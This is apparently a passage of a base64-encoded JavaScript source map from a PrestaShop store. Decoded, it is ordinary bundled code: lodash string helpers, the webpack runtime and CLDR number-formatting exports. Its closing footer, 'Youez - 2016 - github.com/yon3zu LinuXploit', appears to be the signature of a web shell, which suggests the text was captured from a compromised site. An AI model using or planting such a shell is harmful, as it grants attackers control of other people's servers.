4gKi9cbmZ1bmN0aW9uIHRvU3RyaW5nKHZhbHVlKSB7XG4gIHJldHVybiB2YWx1ZSA9PSBudWxsID8gJycgOiBiYXNlVG9TdHJpbmcodmFsdWUpO1xufVxuXG4vKipcbiAqIEVzY2FwZXMgdGhlIGBSZWdFeHBgIHNwZWNpYWwgY2hhcmFjdGVycyBcIl5cIiwgXCIkXCIsIFwiXFxcIiwgXCIuXCIsIFwiKlwiLCBcIitcIixcbiAqIFwiP1wiLCBcIihcIiwgXCIpXCIsIFwiW1wiLCBcIl1cIiwgXCJ7XCIsIFwifVwiLCBhbmQgXCJ8XCIgaW4gYHN0cmluZ2AuXG4gKlxuICogQHN0YXRpY1xuICogQG1lbWJlck9mIF9cbiAqIEBzaW5jZSAzLjAuMFxuICogQGNhdGVnb3J5IFN0cmluZ1xuICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gZXNjYXBlLlxuICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgZXNjYXBlZCBzdHJpbmcuXG4gKiBAZXhhbXBsZVxuICpcbiAqIF8uZXNjYXBlUmVnRXhwKCdbbG9kYXNoXShodHRwczovL2xvZGFzaC5jb20vKScpO1xuICogLy8gPT4gJ1xcW2xvZGFzaFxcXVxcKGh0dHBzOi8vbG9kYXNoXFwuY29tL1xcKSdcbiAqL1xuZnVuY3Rpb24gZXNjYXBlUmVnRXhwKHN0cmluZykge1xuICBzdHJpbmcgPSB0b1N0cmluZyhzdHJpbmcpO1xuICByZXR1cm4gKHN0cmluZyAmJiByZUhhc1JlZ0V4cENoYXIudGVzdChzdHJpbmcpKVxuICAgID8gc3RyaW5nLnJlcGxhY2UocmVSZWdFeHBDaGFyLCAnXFxcXCQmJylcbiAgICA6IHN0cmluZztcbn1cblxubW9kdWxlLmV4cG9ydHMgPSBlc2NhcGVSZWdFeHA7XG4iLCIvLyBUaGUgbW9kdWxlIGNhY2hlXG52YXIgX193ZWJwYWNrX21vZHVsZV9jYWNoZV9fID0ge307XG5cbi8vIFRoZSByZXF1aXJlIGZ1bmN0aW9uXG5mdW5jdGlvbiBfX3dlYnBhY2tfcmVxdWlyZV9fKG1vZHVsZUlkKSB7XG5cdC8vIENoZWNrIGlmIG1vZHVsZSBpcyBpbiBjYWNoZVxuXHR2YXIgY2FjaGVkTW9kdWxlID0gX193ZWJwYWNrX21vZHVsZV9jYWNoZV9fW21vZHVsZUlkXTtcblx0aWYgKGNhY2hlZE1vZHVsZSAhPT0gdW5kZWZpbmVkKSB7XG5cdFx0cmV0dXJuIGNhY2hlZE1vZHVsZS5leHBvcnRzO1xuXHR9XG5cdC8vIENyZWF0ZSBhIG5ldyBtb2R1bGUgKGFuZCBwdXQgaXQgaW50byB0aGUgY2FjaGUpXG5cdHZhciBtb2R1bGUgPSBfX3dlYnBhY2tfbW9kdWxlX2NhY2hlX19bbW9kdWxlSWRdID0ge1xuXHRcdC8vIG5vIG1vZHVsZS5pZCBuZWVkZWRcblx0XHQvLyBubyBtb2R1bGUubG9hZGVkIG5lZWRlZFxuXHRcdGV4cG9ydHM6IHt9XG5cdH07XG5cblx0Ly8gRXhlY3V0ZSB0aGUgbW9kdWxlIGZ1bmN0aW9uXG5cdF9fd2VicGFja19tb2R1bGVzX19bbW9kdWxlSWRdKG1vZHVsZSwgbW9kdWxlLmV4cG9ydHMsIF9fd2VicGFja19yZXF1aXJlX18pO1xuXG5cdC8vIFJldHVybiB0aGUgZXhwb3J0cyBvZiB0aGUgbW9kdWxlXG5cdHJldHVybiBtb2R1bGUuZXhwb3J0cztcbn1cblxuIiwiX193ZWJwYWNrX3JlcXVpcmVfXy5nID0gKGZ1bmN0aW9uKCkge1xuXHRpZiAodHlwZW9mIGdsb2JhbFRoaXMgPT09ICdvYmplY3QnKSByZXR1cm4gZ2xvYmFsVGhpcztcblx0dHJ5IHtcblx0XHRyZXR1cm4gdGhpcyB8fCBuZXcgRnVuY3Rpb24oJ3JldHVybiB0aGlzJykoKTtcblx0fSBjYXRjaCAoZSkge1xuXHRcdGlmICh0eXBlb2Ygd2luZG93ID09PSAnb2JqZWN0JykgcmV0dXJuIHdpbmRvdztcblx0fVxufSkoKTsiLCIvKipcbiAqIENvcHlyaWdodCBzaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogUHJlc3RhU2hvcCBpcyBhbiBJbnRlcm5hdGlvbmFsIFJlZ2lzdGVyZWQgVHJhZGVtYXJrICYgUHJvcGVydHkgb2YgUHJlc3RhU2hvcCBTQVxuICpcbiAqIE5PVElDRSBPRiBMSUNFTlNFXG4gKlxuICogVGhpcyBzb3VyY2UgZmlsZSBpcyBzdWJqZWN0IHRvIHRoZSBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKiB0aGF0IGlzIGJ1bmRsZWQgd2l0aCB0aGlzIHBhY2thZ2UgaW4gdGhlIGZpbGUgTElDRU5TRS5tZC5cbiAqIEl0IGlzIGFsc28gYXZhaWxhYmxlIHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViIGF0IHRoaXMgVVJMOlxuICogaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wXG4gKiBJZiB5b3UgZGlkIG5vdCByZWNlaXZlIGEgY29weSBvZiB0aGUgbGljZW5zZSBhbmQgYXJlIHVuYWJsZSB0b1xuICogb2J0YWluIGl0IHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViLCBwbGVhc2Ugc2VuZCBhbiBlbWFpbFxuICogdG8gbGljZW5zZUBwcmVzdGFzaG9wLmNvbSBzbyB3ZSBjYW4gc2VuZCB5b3UgYSBjb3B5IGltbWVkaWF0ZWx5LlxuICpcbiAqIERJU0NMQUlNRVJcbiAqXG4gKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgUHJlc3RhU2hvcCB0byBuZXdlclxuICogdmVyc2lvbnMgaW4gdGhlIGZ1dHVyZS4gSWYgeW91IHdpc2ggdG8gY3VzdG9taXplIFByZXN0YVNob3AgZm9yIHlvdXJcbiAqIG5lZWRzIHBsZWFzZSByZWZlciB0byBodHRwczovL2RldmRvY3MucHJlc3Rhc2hvcC5jb20vIGZvciBtb3JlIGluZm9ybWF0aW9uLlxuICpcbiAqIEBhdXRob3IgICAgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzIDxjb250YWN0QHByZXN0YXNob3AuY29tPlxuICogQGNvcHlyaWdodCBTaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogQGxpY2Vuc2UgICBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjAgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICovXG5pbXBvcnQgTnVtYmVyRm9ybWF0dGVyIGZyb20gJ0BhcHAvY2xkci9udW1iZXItZm9ybWF0dGVyJztcbmltcG9ydCBOdW1iZXJTeW1ib2wgZnJvbSAnQGFwcC9jbGRyL251bWJlci1zeW1ib2wnO1xuaW1wb3J0IFByaWNlU3BlY2lmaWNhdGlvbiBmcm9tICdAYXBwL2NsZHIvc3BlY2lmaWNhdGlvbnMvcHJpY2UnO1xuaW1wb3J0IE51bWJlclNwZWNpZmljYXRpb24gZnJvbSAnQGFwcC9jbGRyL3NwZWNpZmljYXRpb25zL251bWJlcic7XG5cbmV4cG9ydCB7XG4gIFByaWNlU3BlY2lmaWNhdGlvbixcbiAgTnVtYmVyU3BlY2lmaWNhdGlvbixcbiAgTnVtYmVyRm9ybWF0dGVyLFxuICBOdW1iZXJTeW1ib2wsXG59O1xuIl0sInNvdXJjZVJvb3QiOiIifQ==

Youez - 2016 - github.com/yon3zu
LinuXploit